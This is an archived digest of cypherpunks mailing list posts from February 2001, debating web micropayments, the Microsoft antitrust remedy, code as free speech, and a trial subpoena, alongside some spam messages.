References: <Pine.LNX.4.21.0102261430470.21111-100000@bolt.sonic.net>
  <a05010402b6c0f74b507c@[207.111.241.106]>
Message-ID: <20010227030347.A63262@cypherpunks.ai>


If we get to the situation where ISPs want people to
use their bandwidth because they're getting paid for it,
it makes sense for the ISP to give a kick back to the
person who hosted the data or was involved in the chain
which caused the user to reach that content.

We already have many cable subscribers using
capped flat-rate services, where there are
charges over the capped limit.

However I think these caps are typically intended
to strongly discourage going over the cap (at least
the it would seem so from the charges they levy
over the 4GB download cap in my case).

I'm not sure of the trends, or the long term outcome
but if we do get to the case were people are more 
metered for service, something useful could be done
with strongly anonymous ecash micropayments:

the ISPs could pay their network connections to
other ISPs per Megabyte.  Then as an aspiring
content pimp the current day warez, video and 
music traders could migrate to making big bucks
by giving people what they want.  The smart content
authors / providers would compete.  The dumb ones
would try to outlaw such things and hopefully lose
rather than turning the world into the draconian 
place it would have to be for their full intent
in drafting the DMCA and WIPO offenses.

Whether or not artists get money for the works they
release depends on how badly people want to pay
the lowest price for their content.  It's a market
fought on price vs availability, scalability (to
handle flash crowds), and convenience.  Some vendors
may offer the claim or proof that they pay some
percentage to the author, some may not.  The market
will decide.  The author or original distributer
of content chooses his parameters (requested proportion
of content redistribution bandwidth costs) to optimise
his profits.  If he sets it too high, people will have
the incentive to save a few cents getting it from 
warez.com; if he sets it low enough it will be below
the threshold for which people are willing to search
harder.

Adam

On Mon, Feb 26, 2001 at 10:32:05PM -0800, Tim May wrote:
> 
> At 2:57 PM -0800 2/26/01, Ray Dillinger wrote:
> >
> >If they can fix micropayments so that I can authorize my web
> >agent to spend up to $5 a month and not pester me about it,
> >they might have something I'd use.
> 
> Most people will skip any sites that cost money...unless, maybe, it's 
> a porn site that they specifically want.
> 
> There are very, very few pay sites which are surviving, let alone thriving.
> 
> The "10 cents to read this dumb page" model is likely to fail.
> 
> What I think, or what we think, doesn't make it so. But Cypherpunks 
> should certainly not think of these kinds of micropayments as the 
> holy grail for digital money.
> 
> This said, there may someday be _novel_ micropayment applications. 
> Some think newspaper subscriptions (with more or less true 
> representations of page layouts, as a couple of newspapers are 
> proposing) will be this application. I suspect not.
> >
> >
> >My web agent ought to keep me informed about which of my online
> >habits are expensive and in what degree - but that's maybe a
> >trailing-two-weeks summary about how the budgeted money is
> >being spent, not an "okay to spend half a penny?" dialog every
> >ten seconds on the site.
> 
> And there will likely be scams whereby tens of millions of Web 
> surfers find out "two trailing weeks later" that they paid some money 
> for something they didn't want, as when they were redirected to some 
> page and charged automatically before they even knew they were there.
> 
> Even with limits on payments--to stop the $135.87 "fee" for landing 
> on www.sexyfun.com by accident or by redirection--there will be 
> angles for grifters and cons to exploit anytime an automated "don't 
> bother me with petty charges" system is used.
> 
> Maybe something like a token dispenser radio button. When a page 
> comes up, one "feeds tokens in."
> 
> There are a few obvious candidates for "minipayments": software 
> downloads (shareware or commercial), songs and music in some 
> post-Napster world, etc.




From Art.Hagar at einstein.ssz.com  Tue Feb 27 01:33:30 2001
From: Art.Hagar at einstein.ssz.com (Art.Hagar at einstein.ssz.com)
Date: Tue, 27 Feb 2001 03:33:30 -0600
Subject: THANK YOU cypherpunks -YDOX
Message-ID: <200102270933.DAA19096@einstein.ssz.com>


cypherpunks,

You owe it to yourself to find out why the richest home-based entrepreneurs are buzzing 
about this vacation package. $17,000 in hotel, airfare, car rental, shopping discounts, 
over 30 VACATIONS for $89.90 down and we approve 98% for financing making this easy 
to sell.  Fly to HAWAII FOR FREE!  CANCUN and ARUBA! FABULOUS CRUISES for 
two in the CARIBBEAN with stops on GRAND BAHAMAS ISLAND. So much more!!!  
PLUS YOU MAKE $1,000 COMMISSIONS every time you sell this same package to 
anyone else! cypherpunks, if you do not use all of the Vacations become a HERO and give 
them away to family and friends.  

You don't have to send me an email asking me to remove you because this is the only 
chance you will get at this FANTASTIC OFFER. If you would like more information 
just send me an email with $1000 in the subject.

Thank you again,
Art Hagar
art2222 at email.com






From cab8 at censored.org  Tue Feb 27 02:59:03 2001
From: cab8 at censored.org (Carol Braddock)
Date: Tue, 27 Feb 2001 05:59:03 -0500
Subject: Bell Subpoena 2
In-Reply-To: <200102262308.SAA26143@hall.mail.mindspring.net>
Message-ID: <LOBBLFPFEHKIMANNHFCFEEILDHAA.cab8@censored.org>


You might need a lawyer for that one.

As far as I can remember,
The court has a transcription
the defense has a copy and the DA gets one.

Nobody else can get a copy. This is not to
say you aren't legally afforded the right to one.
I just think you'll need a lawyer to get one.

Carol Anne Cypherpunk
 
PS NY Cypherpunks JG Melon 74&3rd 2/28 7PM

-----Original Message-----
From: owner-cypherpunks at minder.net
[mailto:owner-cypherpunks at minder.net]On Behalf Of John Young
Sent: Monday, February 26, 2001 5:58 PM
To: cypherpunks at cyberpass.net
Subject: Bell Subpoena 2


Another subpoena was served on me today by Treasury 
Agent Tom Jack to appear at Jim Bell's trial on April 2, 2001
9:00 AM, in Tacoma, WA.

I have tried three times to get a transcript of my grand jury 
testimony: faxed letter to the Grand Jury Foreman and AUSA
Robb London January 27; a phone message left for Robb 
on February 12, and another faxed letter to Robb and the 
Foreman on February 20 with copy to Judge Tanner, 
presiding in Jim's case. No answer to any of the 3 requests
-- except today's subpoena dated February 21.








From jrkearns at ev1.net  Tue Feb 27 04:24:20 2001
From: jrkearns at ev1.net (Jean Rae Kearns)
Date: Tue, 27 Feb 2001 07:24:20 -0500
Subject: REAL MONEY STILL RULES
References: <20010226.194130.-498329.16.julswig@juno.com>
Message-ID: <3A9B9C74.66AC@ev1.net>


Julian:  As best I can figure, we do have "real money" today, it is
interest free and debt free, and it is the "coin of the realm" commonly
known as U.S. Treasury minted coin.

You cannot say that about the Federal Reserve Notes (FRN) script.

The problem is, most people think of the FRN's as "money" when in fact
FRN's are a "debt transfer" document, and are traded as "money."

Just remember, we were on the "gold standard" when we had the worst
money problem in the history of the nation, the stock market crash of
1929 and the ensuing depression.

The real solution is a balance between "interest free, debt free" money
and "debt created money".

Michael Joseph Kearns
c/o 8916 Datapoint Suite 3225
San Antonio, Texas  78229
210-614-4206
210-614-5698 (fax)
email: jrkearns at ev1.net
web page: http://users2.ev1.net/~jrkearns

Julian Swig wrote:
> 
>         Every State(2) has a Money of Account Provision (I'll
> bet)       
>  
>         I just figured CaGovC 6850.
>  
>         Real money is provided for so the "judges" and the public
> employees can decline to accept transfer of debt (They do not have to
> allow their "checks" to "clear"). They can require gold or silver from
> the Controller and/or the Treasurer!
>  
>         This must be so even though 3 USC 1- 21 makes the States(2)
> (and all county voting precincts ) = the District of Columbia. The
> administrative governments for the 50 provinces (States(2)) must
> accommodate the 50 union States(1) respectively. When we invoke (if we
> know how) their State(2) courts onto the law side, the judge and jury
> are deemed capable of being paid real money.
>         (If we don't invoke the court in forma pauperis but transfer
> debt for fees we will get the fiction-equity-UCC State(2) court
> regardless of what we plead.)
>  
>         Got spare change? Run an ad in your local Shopper.
>         JURORS Get your ($)25 per day in Gold
>         [Your phone # and/or e-mail or web page]
>         Provide a networking source, forms and information to enable
> jurors to demand and obtain their real money.
>         ( ) for $ is because in CA jury service is now 5 dollars a day
> (There is talk of raising it). So 5 dollars are "purchased" for about
> 25 in ($), i.e., in FRNs. I figured for silver because I have a
> general idea of the exchange value, but "gold" is a better trigger for
> an ad. (I get the foundation for principles settled then I can adjust
> the particulars -That's how I work!-JS)
>        
>         Jurors are summoned by ALL CAPS "commercial names" so they
> must be voir dired for the capacity they will accept for sitting as
> jurors. They can still accept transfer of debt but they must affirm
> they will judge the evidence in their flesh and blood capacity (They
> must be educated on the fly that they have a fiction identity and a
> real identify. -Such education is never permitted on the
> fiction-equity-UCC side of the court.)
>  
>         So how are Money of Account provisions rationalized when the
> treasurers, court clerks, county collections receive "cash"!!!!? For
> checks I imagine they are accounted for as dollars but once the county
> accepts the privilege of letting the debts be discharged over at the
> bank how are the bank balances reported back in the county
> controller's office!!!!!? Oh! Maybe they just report the amounts they
> sent over and are oblivious to what has happens. They just write
> checks and warrants to pay out but folks keep accepting discharge by
> transfer of debt but the county never catches on!
> 
> Peoples Law Association/Julian: Swig at julswig at juno.com




From sunder at sunder.net  Tue Feb 27 07:53:47 2001
From: sunder at sunder.net (Sunder)
Date: Tue, 27 Feb 2001 10:53:47 -0500
Subject: Micropayments: Effective Replacement For Ads?
References: <3A9AB6CB.B9370411@dev.tivoli.com> <5.0.2.1.0.20010226230534.028e0f80@shell11.ba.best.com>
Message-ID: <3A9BCD8B.DA28BDF7@sunder.net>


"James A. Donald" wrote:
> 
>      --
> At 02:57 PM 2/26/2001 -0800, Ray Dillinger wrote:
>  > Finally, sites supported by micropayments are going to have to
>  > figure out something about web spiders.  If "scooter" can't spend
>  > several million dollars a month on these places, they're not going
>  > to get into the altavista database, for example.  So if you want the
>  > site to be in a search engine at all, you're going to have to let
>  > the search engine's robot cruise the site for free.  Wanna bet it
>  > would be about twenty seconds before somebody released a "Pretend to
>  > be a web spider and browse pay sites for FREE!" utility?
> 
>   Not a problem.  Typically a micropayment site will have index and summary
> pages that are free, and these free pages will contain lots of pay
> links.  You will not want the spider to traverse the pay links.

Or you make the pay for pages be error pages in the body with keywords
of the contents.  That way, say your bot hits an article about squirrel
mating habbits, in the body, you hide the keywords of that article (in
comments, or in a 0 point font, or in black on black text, or in the
header, etc.), so that bot can add them to it's corpus and get you the
results on a search, but the HTML displays a sign up page.

It won't get you results on specific phrases, but the keywords will
get you the results you need.

Pretty easy to do with CGI's.  So when someone goes to google.com and gets
results on that pay-for-access page, even if they hit the "cached page"
page, they'll see the pay-for-access to this article, if they want to get
it, they pay their $0.005 or whatever micropayment, and it's done.

This assumes that the micropayment per content view model will work.
Having worked at a big 800lbs gorrilla pay-for web site in the past, I
can tell you it's not likely to work.  99% of the audience will not pay
for the article - they'll just go elsewhere for similar info.  That 1%
that is conducting commercial research will pay even as much as $500 per
page if the data is complete.

As an example, once a year, the said co put out a list of info about
other companies.  The same list was published on paper for under $5
about a month later.  We had quite a few purchases for this list, some
were two people from the same company purchasing the list.

Of course anyone with a scanner and good OCR software would have it for
$5, but it goes to show you micropayments aren't the way to go.  Macro
payments are.


-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From aleph at alumni.caltech.edu  Tue Feb 27 11:21:52 2001
From: aleph at alumni.caltech.edu (Colin A. Reed)
Date: Tue, 27 Feb 2001 11:21:52 -0800 (PST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory, Not Facts
In-Reply-To: <v04220819b6c199da0335@[198.4.94.235]>
Message-ID: <Pine.SOL.3.91.1010227110823.22992A-100000@alumnus>


Microsoft won because of superior reviews? Come on, how stupid do you 
think we are?  So if a company pays for glowing reviews that would be 
okay?  Obviously they have never tried to sell a product.  It's very 
dificult to get consideration such that you could prove the technical 
merits when there is a large existing supplier.  It's much worse when the 
client knows that that supplier has a long history of targetting 
'upstart' companies and destroying them.  Support and upgradeability are 
important features that require a company to continue operating.  

I'll admit that the trial was fucked up from the start by the decision to 
center it around netscape rather than something more blatant like stac.  
Anyways, this has nothing to do with FC, unless you think that enterprise 
is fundamentally expressive and Microsoft's vicious suppression of 
competition has limited the ability of others to be heard.  

On Tue, 27 Feb 2001, Matthew Gaylor wrote:

> Date: Tue, 27 Feb 2001 11:31:00 -0600
> To: freematt at coil.com
> From: David Theroux <DJTheroux at independent.org>
> 
> Subject: THE LIGHTHOUSE: February 27, 2001
> 
> THE LIGHTHOUSE "Enlightening Ideas for Public Policy..."
> VOL. 3, ISSUE 8
> February 27, 2001
> 
> MICROSOFT TRIAL JUDGE BASED HIS BREAK-UP "REMEDY" ON FLAWED THEORY, NOT FACTS
> 
> As the Microsoft antitrust case moved into federal appeals court 
> Monday, the Independent Institute released an updated edition of the 
> book that The Economist magazine calls "by a long way...the best 
> single thing to read" on high-tech markets and network economics, 
> WINNERS, LOSERS & MICROSOFT: Competition and Antitrust in High 
> Technology, by Stan J. Liebowitz and Stephen E. Margolis.
> 
> The new edition includes a stinging critique of the findings and 
> break-up "remedy" proposed by Microsoft trial judge Thomas Penfield 
> Jackson.
> 
> "The government has chosen and the judge has approved a defective 
> remedy," write economists Liebowitz and Margolis, research fellows at 
> The Independent Institute. "Its key defect is its logical 
> inconsistency with the claims made in the case. It's difficult to 
> avoid concluding that the purpose of the so-called remedy is not 
> correction, but punishment."
> 
> First published in 1999, and based on peer-reviewed research going 
> back more than a decade, WINNERS, LOSERS & MICROSOFT argues that 
> high-tech markets face vigorous competition and that the "path 
> dependence" theory which claims such markets are prone to "locking 
> in" inferior products lacks empirical support and merits no place in 
> antitrust cases.
> 
> Even with the presence of so-called network effects -- the phenomenon 
> of a product becoming more useful to a consumer, the greater the 
> number of other users of the product -- markets do not "lock in" a 
> market leader and do not preclude the possibility that a better 
> product will come along and dethrone it.
> 
> As Liebowitz and Margolis show, contrary to popular myth, the market 
> success of the standard QWERTY keyboard arrangement, the VHS 
> videotape format, and various Microsoft software programs is due not 
> to "lock-in" but to the fact that these products are better than the 
> competition.
> 
> In the case of Microsoft, Liebowitz and Margolis found that when its 
> software products have dominated a market, that success can be 
> explained by the superior reviews those products received in 
> independent magazines. Further, Microsoft has not acted as a 
> monopolist but has pursued a low-price, high-volume strategy that has 
> led to prices falling more dramatically in markets where Microsoft 
> competes than in markets where it does not compete.
> 
> "When the theory of an antitrust case is based on a defective view of 
> markets," conclude Liebowitz and Margolis, "it is not surprising that 
> the findings are flawed or that the proposed remedy will do more harm 
> than good. The Microsoft case is based largely on a theory of lock-in 
> through network effects, an insecure foundation at best. Network 
> theories, we have argued, ought not be enshrined in our antitrust 
> laws. They can be so enshrined only if conjecture is elevated above 
> evidence."
> 
> For more information, see the new press release of WINNERS, LOSERS & 
> MICROSOFT: Competition and Antitrust in High Technology, by Stan 
> Liebowtiz and Stephen Margolis (The Independent Institute, 2001), at
> http://www.independent.org/tii/lighthouse/LHLink3-8-1.html.
> 
> For an updated, detailed summary of WINNERS, LOSERS & MICROSOFT, see
> http://www.independent.org/tii/lighthouse/LHLink3-8-2.html.
> 
> To order WINNERS, LOSERS & MICROSOFT, see 
> http://www.independent.org/tii/lighthouse/LHLink3-8-3.html.
> 
> **************************************************************************
> Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
> Send a blank message to: freematt at coil.com with the words subscribe FA
> on the subject line. List is private and moderated (7-30 messages per month)
> Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
> (614) 313-5722  ICQ: 106212065   Archived at http://groups.yahoo.com/group/fa/
> **************************************************************************
> 




From bear at sonic.net  Tue Feb 27 11:29:13 2001
From: bear at sonic.net (Ray Dillinger)
Date: Tue, 27 Feb 2001 11:29:13 -0800 (PST)
Subject: Micropayments: Effective Replacement For Ads?
In-Reply-To: <a05010402b6c0f74b507c@[207.111.241.106]>
Message-ID: <Pine.LNX.4.21.0102271119120.6623-100000@bolt.sonic.net>




On Mon, 26 Feb 2001, Tim May wrote:

>At 2:57 PM -0800 2/26/01, Ray Dillinger wrote:
>>
>>If they can fix micropayments so that I can authorize my web
>>agent to spend up to $5 a month and not pester me about it,
>>they might have something I'd use.
>
>Most people will skip any sites that cost money...unless, maybe, it's 
>a porn site that they specifically want.
>
>There are very, very few pay sites which are surviving, let alone thriving.

Right.  All the "content-for-pay" artists now have to compete 
against all the unpaid amateurs who are webpublishing because 
webpublishing is easy and nearly free.  

Unless they can provide content that is absolutely above and 
beyond what the amateurs can do technologically and artistically, 
they are going to discover that there is no paying market for 
their stuff.  

>>My web agent ought to keep me informed about which of my online
>>habits are expensive and in what degree - but that's maybe a
>>trailing-two-weeks summary about how the budgeted money is
>>being spent, not an "okay to spend half a penny?" dialog every
>>ten seconds on the site.
>
>And there will likely be scams whereby tens of millions of Web 
>surfers find out "two trailing weeks later" that they paid some money 
>for something they didn't want, as when they were redirected to some 
>page and charged automatically before they even knew they were there.


Right.  And that's when they learn something they did was expensive 
and not to do that again.  As long as the web agent can keep it under 
the budgeted amount, a few mistakes (and even a few scams) can be 
tolerated.  The race would be between people trying to build smarter 
web agents (popping up and saying, "Hey boss, this link's always been 
free before, but now it costs a buck -- are you sure you want to go 
there?") and finding more subtle ways to try and rip them off. 

Beyond a certain level of subtlety, ripping people off is known as 
"marketing," and considered a non-problem. 

>Even with limits on payments--to stop the $135.87 "fee" for landing 
>on www.sexyfun.com by accident or by redirection--there will be 
>angles for grifters and cons to exploit anytime an automated "don't 
>bother me with petty charges" system is used.

Absolutely.  There are angles for grifters and cons to exploit in 
every market where money changes hands. 

				Bear





From DJTheroux at independent.org  Tue Feb 27 09:31:00 2001
From: DJTheroux at independent.org (David Theroux)
Date: Tue, 27 Feb 2001 11:31:00 -0600
Subject: No subject
Message-ID: <mailman.368.1576007499.31620.cypherpunks-legacy@lists.cpunks.org>

Subject: THE LIGHTHOUSE: February 27, 2001

THE LIGHTHOUSE "Enlightening Ideas for Public Policy..."
VOL. 3, ISSUE 8
February 27, 2001

MICROSOFT TRIAL JUDGE BASED HIS BREAK-UP "REMEDY" ON FLAWED THEORY, NOT FACTS

As the Microsoft antitrust case moved into federal appeals court 
Monday, the Independent Institute released an updated edition of the 
book that The Economist magazine calls "by a long way...the best 
single thing to read" on high-tech markets and network economics, 
WINNERS, LOSERS & MICROSOFT: Competition and Antitrust in High 
Technology, by Stan J. Liebowitz and Stephen E. Margolis.

The new edition includes a stinging critique of the findings and 
break-up "remedy" proposed by Microsoft trial judge Thomas Penfield 
Jackson.

"The government has chosen and the judge has approved a defective 
remedy," write economists Liebowitz and Margolis, research fellows at 
The Independent Institute. "Its key defect is its logical 
inconsistency with the claims made in the case. It's difficult to 
avoid concluding that the purpose of the so-called remedy is not 
correction, but punishment."

First published in 1999, and based on peer-reviewed research going 
back more than a decade, WINNERS, LOSERS & MICROSOFT argues that 
high-tech markets face vigorous competition and that the "path 
dependence" theory which claims such markets are prone to "locking 
in" inferior products lacks empirical support and merits no place in 
antitrust cases.

Even with the presence of so-called network effects -- the phenomenon 
of a product becoming more useful to a consumer, the greater the 
number of other users of the product -- markets do not "lock in" a 
market leader and do not preclude the possibility that a better 
product will come along and dethrone it.

As Liebowitz and Margolis show, contrary to popular myth, the market 
success of the standard QWERTY keyboard arrangement, the VHS 
videotape format, and various Microsoft software programs is due not 
to "lock-in" but to the fact that these products are better than the 
competition.

In the case of Microsoft, Liebowitz and Margolis found that when its 
software products have dominated a market, that success can be 
explained by the superior reviews those products received in 
independent magazines. Further, Microsoft has not acted as a 
monopolist but has pursued a low-price, high-volume strategy that has 
led to prices falling more dramatically in markets where Microsoft 
competes than in markets where it does not compete.

"When the theory of an antitrust case is based on a defective view of 
markets," conclude Liebowitz and Margolis, "it is not surprising that 
the findings are flawed or that the proposed remedy will do more harm 
than good. The Microsoft case is based largely on a theory of lock-in 
through network effects, an insecure foundation at best. Network 
theories, we have argued, ought not be enshrined in our antitrust 
laws. They can be so enshrined only if conjecture is elevated above 
evidence."

For more information, see the new press release of WINNERS, LOSERS & 
MICROSOFT: Competition and Antitrust in High Technology, by Stan 
Liebowtiz and Stephen Margolis (The Independent Institute, 2001), at
http://www.independent.org/tii/lighthouse/LHLink3-8-1.html.

For an updated, detailed summary of WINNERS, LOSERS & MICROSOFT, see
http://www.independent.org/tii/lighthouse/LHLink3-8-2.html.

To order WINNERS, LOSERS & MICROSOFT, see 
http://www.independent.org/tii/lighthouse/LHLink3-8-3.html.

**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per month)
Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
(614) 313-5722  ICQ: 106212065   Archived at http://groups.yahoo.com/group/fa/
**************************************************************************




From lizard at mrlizard.com  Tue Feb 27 11:46:58 2001
From: lizard at mrlizard.com (lizard)
Date: Tue, 27 Feb 2001 11:46:58 -0800
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory, 
 Not Facts
References: <Pine.SOL.3.91.1010227110823.22992A-100000@alumnus>
Message-ID: <3A9C0432.B5BF7E05@mrlizard.com>


"Colin A. Reed" wrote:
> 

> I'll admit that the trial was fucked up from the start by the decision to
> center it around netscape rather than something more blatant like stac.
> Anyways, this has nothing to do with FC, unless you think that enterprise
> is fundamentally expressive and Microsoft's vicious suppression of
> competition has limited the ability of others to be heard.
> 
But if source code is free speech, isn't a judge ordering some code be
removed/edited/changed an intrustion on free speech? Isn't saying
"Remove Explorer from the core install!" the same as saying "Remove this
chapter from this book!"

Sure, the chapter can then be republished separately, but who is the
judge to decide what elements of a work of speech belong together? 

Code IS speech. And this has implications beyond DECSS and PGP.




From j.j.murray at home.com  Tue Feb 27 09:34:15 2001
From: j.j.murray at home.com (Jason Murray)
Date: Tue, 27 Feb 2001 12:34:15 -0500
Subject: Miscropayments and artists (actually comics)
Message-ID: <20010227123415.A16237@pain.mtpi1.on.wave.home.com>


http://www.thecomicreader.com/html/icst/icst-5/icst-5.html

I must say, it is much more entertaining to read thing in this format.

Did I beat Choate to it?




From freematt at coil.com  Tue Feb 27 09:53:20 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Tue, 27 Feb 2001 12:53:20 -0500
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed
 Theory, Not Facts
Message-ID: <v04220819b6c199da0335@[198.4.94.235]>



From lvild at usa.net  Tue Feb 27 13:55:50 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 27 Feb 2001 13:55:50 PST
Subject: [Re: Re: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts]
Message-ID: <20010227215550.7157.qmail@nwcst320.netaddress.usa.net>


Relating how code can infringe on someone else's rights will
be an abstract argument.

When the process of harvesting on "free markets"
is put in judgement, so will the harvest reached
in an economy were an "invisible hand" rules.

Perhaps both should be rightfully analyzed but 
which one first?

David Stultz <ds932 at bard.edu> wrote:
> 
> Just playing the Devil's Advocate here.
> 
> Are you allowed to go into a theatre and yell, "FIRE!!!" when there is
> none?  Nope.  
> 
> There *are* restrictions on speech.  If MS's "speech" violated somebody's
> rights, that speech can be made illegal.
> 
> Dave
> 
> PS I agree that code is speech.
> 
> On Tue, 27 Feb 2001, lizard wrote:
> 
> > "Colin A. Reed" wrote:
> > > 
> > 
> > > I'll admit that the trial was fucked up from the start by the decision
to
> > > center it around netscape rather than something more blatant like stac.
> > > Anyways, this has nothing to do with FC, unless you think that
enterprise
> > > is fundamentally expressive and Microsoft's vicious suppression of
> > > competition has limited the ability of others to be heard.
> > > 
> > But if source code is free speech, isn't a judge ordering some code be
> > removed/edited/changed an intrustion on free speech? Isn't saying
> > "Remove Explorer from the core install!" the same as saying "Remove this
> > chapter from this book!"
> > 
> > Sure, the chapter can then be republished separately, but who is the
> > judge to decide what elements of a work of speech belong together? 
> > 
> > Code IS speech. And this has implications beyond DECSS and PGP.
> > 


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From belsky at frogdip.net  Tue Feb 27 10:55:55 2001
From: belsky at frogdip.net (belsky at frogdip.net)
Date: Tue, 27 Feb 2001 13:55:55 -0500
Subject: BlackJack Anyone???
Message-ID: <gfb11p2s.60an2t4vbr8l@vcnxisub.frogdip.net>

A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 1417 bytes
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From tcmay at got.net  Tue Feb 27 14:31:38 2001
From: tcmay at got.net (Tim May)
Date: Tue, 27 Feb 2001 14:31:38 -0800
Subject: "Information wants to be free"
In-Reply-To: <Pine.LNX.4.21.0102271119120.6623-100000@bolt.sonic.net>
References: <Pine.LNX.4.21.0102271119120.6623-100000@bolt.sonic.net>
Message-ID: <a05010401b6c1d98475cb@[207.111.241.224]>


At 11:29 AM -0800 2/27/01, Ray Dillinger wrote:
>On Mon, 26 Feb 2001, Tim May wrote:
>
>>At 2:57 PM -0800 2/26/01, Ray Dillinger wrote:
>>>
>>>If they can fix micropayments so that I can authorize my web
>>>agent to spend up to $5 a month and not pester me about it,
>>>they might have something I'd use.
>>
>>Most people will skip any sites that cost money...unless, maybe, it's
>>a porn site that they specifically want.
>>
>>There are very, very few pay sites which are surviving, let alone thriving.
>
>Right.  All the "content-for-pay" artists now have to compete
>against all the unpaid amateurs who are webpublishing because
>webpublishing is easy and nearly free.

Or because "information wants to be free" (*) and _someone_ will make 
the songs or images or whatever available for absolutely nothing. 
Good examples of this are Napster, of course, and the 
alt.binaries.erotica.* Usenet newsgroups.

(* I never particularly liked the "information wants to be free" 
slogan, for various reasons. See the archives for discussions.)

>
>Unless they can provide content that is absolutely above and
>beyond what the amateurs can do technologically and artistically,
>they are going to discover that there is no paying market for
>their stuff.

Probably not even then. Unless the Net is heavily censored and 
encryption is banned, there are just too many "degrees of freedom" 
for the above-mentioned "information wants to be free" point to be 
invalidated. The cases of Mojo, Gnutella, Freenet, and free versions 
of Napster make this point.

(Though the automated thievery, er, "sharing," of Napster made it 
trivial to install for even 6th graders, and thus led to the tens of 
millions of users, it is likely that future systems will still be 
used by many even if not so easy to "click and steal.")

--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From decoy at iki.fi  Tue Feb 27 05:01:49 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Tue, 27 Feb 2001 15:01:49 +0200 (EET)
Subject: Micropayments: Effective Replacement For Ads?
In-Reply-To: <5.0.2.1.0.20010226230534.028e0f80@shell11.ba.best.com>
Message-ID: <Pine.SOL.4.30.0102271456410.24400-100000@kruuna.Helsinki.FI>


On Mon, 26 Feb 2001, James A. Donald wrote:

>  Not a problem.  Typically a micropayment site will have index and summary
>pages that are free, and these free pages will contain lots of pay
>links.  You will not want the spider to traverse the pay links.

Plus, in a world of working metadata standards and heavy pay-per-view, the
site will just self-spider and submit. Mutual benefit. The only problem is
when sites cheat, and that could be solved in a number of ways.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From decoy at iki.fi  Tue Feb 27 05:01:49 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Tue, 27 Feb 2001 15:01:49 +0200 (EET)
Subject: Micropayments: Effective Replacement For Ads?
In-Reply-To: <5.0.2.1.0.20010226230534.028e0f80@shell11.ba.best.com>
Message-ID: <Pine.SOL.4.30.0102271456410.24400-100000@kruuna.Helsinki.FI
  >


On Mon, 26 Feb 2001, James A. Donald wrote:

>  Not a problem.  Typically a micropayment site will have index and summary
>pages that are free, and these free pages will contain lots of pay
>links.  You will not want the spider to traverse the pay links.

Plus, in a world of working metadata standards and heavy pay-per-view, the
site will just self-spider and submit. Mutual benefit. The only problem is
when sites cheat, and that could be solved in a number of ways.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From ds932 at bard.edu  Tue Feb 27 12:21:24 2001
From: ds932 at bard.edu (David Stultz)
Date: Tue, 27 Feb 2001 15:21:24 -0500 (EST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts
In-Reply-To: <3A9C0432.B5BF7E05@mrlizard.com>
Message-ID: <Pine.A32.3.95.1010227151825.23962C-100000@bard.edu>


Just playing the Devil's Advocate here.

Are you allowed to go into a theatre and yell, "FIRE!!!" when there is
none?  Nope.  

There *are* restrictions on speech.  If MS's "speech" violated somebody's
rights, that speech can be made illegal.

Dave

PS I agree that code is speech.

On Tue, 27 Feb 2001, lizard wrote:

> "Colin A. Reed" wrote:
> > 
> 
> > I'll admit that the trial was fucked up from the start by the decision to
> > center it around netscape rather than something more blatant like stac.
> > Anyways, this has nothing to do with FC, unless you think that enterprise
> > is fundamentally expressive and Microsoft's vicious suppression of
> > competition has limited the ability of others to be heard.
> > 
> But if source code is free speech, isn't a judge ordering some code be
> removed/edited/changed an intrustion on free speech? Isn't saying
> "Remove Explorer from the core install!" the same as saying "Remove this
> chapter from this book!"
> 
> Sure, the chapter can then be republished separately, but who is the
> judge to decide what elements of a work of speech belong together? 
> 
> Code IS speech. And this has implications beyond DECSS and PGP.
> 




From ravage at EINSTEIN.ssz.com  Tue Feb 27 13:43:18 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 15:43:18 -0600 (CST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts
In-Reply-To: <Pine.A32.3.95.1010227151825.23962C-100000@bard.edu>
Message-ID: <Pine.LNX.3.96.1010227153756.5925n-100000@einstein.ssz.com>



On Tue, 27 Feb 2001, David Stultz wrote:

> Just playing the Devil's Advocate here.
> 
> Are you allowed to go into a theatre and yell, "FIRE!!!" when there is
> none?  Nope.  
> 
> There *are* restrictions on speech.  If MS's "speech" violated somebody's
> rights, that speech can be made illegal.

Speech can't violate rights, only acts against another can. Speech is not
an act against another.

Unconstitutional restrictions on speech that is. If there is a fire and I
don't yell have I commited a crime? If I yell fire and everyone does
nothing was a crime commited?

Let's take your example, it only applies if people are in the theatre AND
they react as if there were a fire. But is it the safety of the theatre
inhabitants we're concerned about? Clearly not since there are more than
sufficient legal and civil recoveries for both the theatre owner and the
patrons if their rights are infringed.

The reality is that causing a riot, via speech or some other mechanism,
isn't protected by the 1st. The argument to forward is a straw-man, they
